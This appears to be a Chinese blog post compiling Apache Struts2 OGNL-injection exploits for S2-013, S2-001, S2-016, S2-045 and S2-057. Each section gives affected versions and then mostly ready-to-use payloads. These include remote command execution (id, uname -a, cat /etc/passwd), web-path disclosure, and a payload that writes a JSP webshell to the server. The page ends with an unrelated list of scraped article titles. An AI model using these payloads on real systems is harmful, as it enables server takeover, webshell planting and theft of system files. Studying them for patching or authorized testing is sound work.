Struts漏洞合集

Struts-S2-013漏洞利用

受影响版本

Struts 2.0.0 - Struts 2.3.14.1

漏洞利用

任意命令执行POC:

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

或着

${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

如:

http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

Struts-S2-001漏洞利用

影响版本

Struts2.0.0 - Struts2.3.15

漏洞利用

获取tomcat执行路径:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取Web路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

执行任意命令(命令加参数:new java.lang.String[]{"cat","/etc/passwd"}):

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

Struts-S2-016漏洞利用

影响版本

2.0.0 - 2.3.15

执行命令

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

获取Web目录

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}

写入Webshell

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}

Struts-S2-045漏洞利用

影响版本

Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

POC

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

EXP

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Struts-S2-057漏洞利用

受影响版本

Struts 2.3 – 2.3.34

Struts 2.5 – 2.5.16

POC

$%7B233*233%7D

命令执行

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

java struts2 漏洞_Struts2漏洞利用相关推荐

  1. java struts2 漏洞_Struts2漏洞简述

    S2-005漏洞 S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的.我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况 ...

  2. java struts2 漏洞_struts2漏洞列表

    [官方ID]S2-001 [危害等级]高 [受影响版本] WebWork 2.1(开启altSyntax) WebWork 2.2.0 – WebWork 2.2.5 Struts 2.0.0 – S ...

  3. st2全版本漏洞检测java,Struts2全版本漏洞利用复现(长期更新)

    本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担 事情起因 用靶场熟悉下Struts2的漏洞利用工具 注意:单纯的使用工具不能加深对漏洞的理解,熟悉漏洞原理才是重点 工具列举 Ha ...

  4. java struts2 漏洞_struts2漏洞原理及解决办法

    1.原理 Struts2的核心是使用的webwork框架,处理action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介 ...

  5. java struts2配置_Struts2初始化配置的问题

    web.XML文件的配置 xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://jav ...

  6. java struts2下载_struts2

    struts2并不是一个陌生的web框架,它是以Webwork的设计思想为核心,吸收struts1的优点,可以说struts2是struts1和Webwork结合的产物. 相关软件软件大小版本说明下载 ...

  7. java struts2 作用_struts2是什么?如何使用?

    一.struts2是什么 1.概念 2.struts2使用优势以及历史 二.搭建struts2框架 1.导包 (解压缩)struts2-blank.war就会看到 2.书写Action类 public ...

  8. java struts2 漏洞复现合集

    目录 一.S2-001复现 二.S2-005复现 三.S2-007复现 四.S2-008复现 五.S2-009复现 六.S2-012复现 七.S2-013复现 八.S2-015复现 九.S2-016复 ...

  9. JAVA反序列漏洞原理及利用工具

    Java反序列化漏洞原理 序列化就是把对象转换成字节流,便于保存在内存.文件.数据库中:反序列化即逆过程,由字节流还原成对象. Java中的ObjectOutputStream类的writeObjec ...

最新文章

  1. 用 Flask 来写个轻博客 (7) — (M)VC_models 的关系(many to many)
  2. Go Modules 的智障版本选择
  3. python中的互斥锁
  4. Truncated Signed Distance Function: Experiments on Voxel Size
  5. js scrollTop, 滚动条操作
  6. Javascript特效:秒杀倒计时
  7. 人生苦短之我用Python篇(socket编程)
  8. Keil5最新注册机到2032
  9. 网络子系统55_ip协议分片重组_加入ipq
  10. [C++] Kmeans算法实现
  11. 【已解决】戴尔笔记本wifi速度慢的问题。
  12. Hadoop+Spark 之旅—脚踏实地、仰望星空(教程目录)
  13. unity3d 角色 武器 动画 和 blender 工作流
  14. windows文件共享客户端的一些事——samba文件共享
  15. ComputerVision会议+领先研究室+专家+代码网址(转载)
  16. python np.random.seed直观程序理解
  17. python添加元素到数组开头_python添加元素到数组开头_Python语法总结(纯干货)...
  18. 【毕业设计/Matlab系列】基于PCM编译码和2ASK调制解调的通信系统仿真
  19. Spring Boot 集成 Activiti7(工作流)
  20. RealSense相机在ros2环境的安装

热门文章

  1. ​MYSQL中常用的SQL语句​(增删改查)
  2. Java多线程实现的四种方式
  3. 【latex】3 会议期刊论文模板的使用方法(包括矢量图片处理方法)
  4. AE学习笔记 logo燃烧特效
  5. WEB漏洞测试——HTML注入及XSS注入
  6. python turtle画多啦a梦_用Python绘制龟库的哆啦A梦,中用,turtle,库画
  7. 分类:朴素贝叶斯分类方法
  8. HM-SpringBoot1.3【SpringBoot配置】
  9. mipi两线接口_MIPI CSI-2 接口标准
  10. Java实战项目视频!群晖docker下载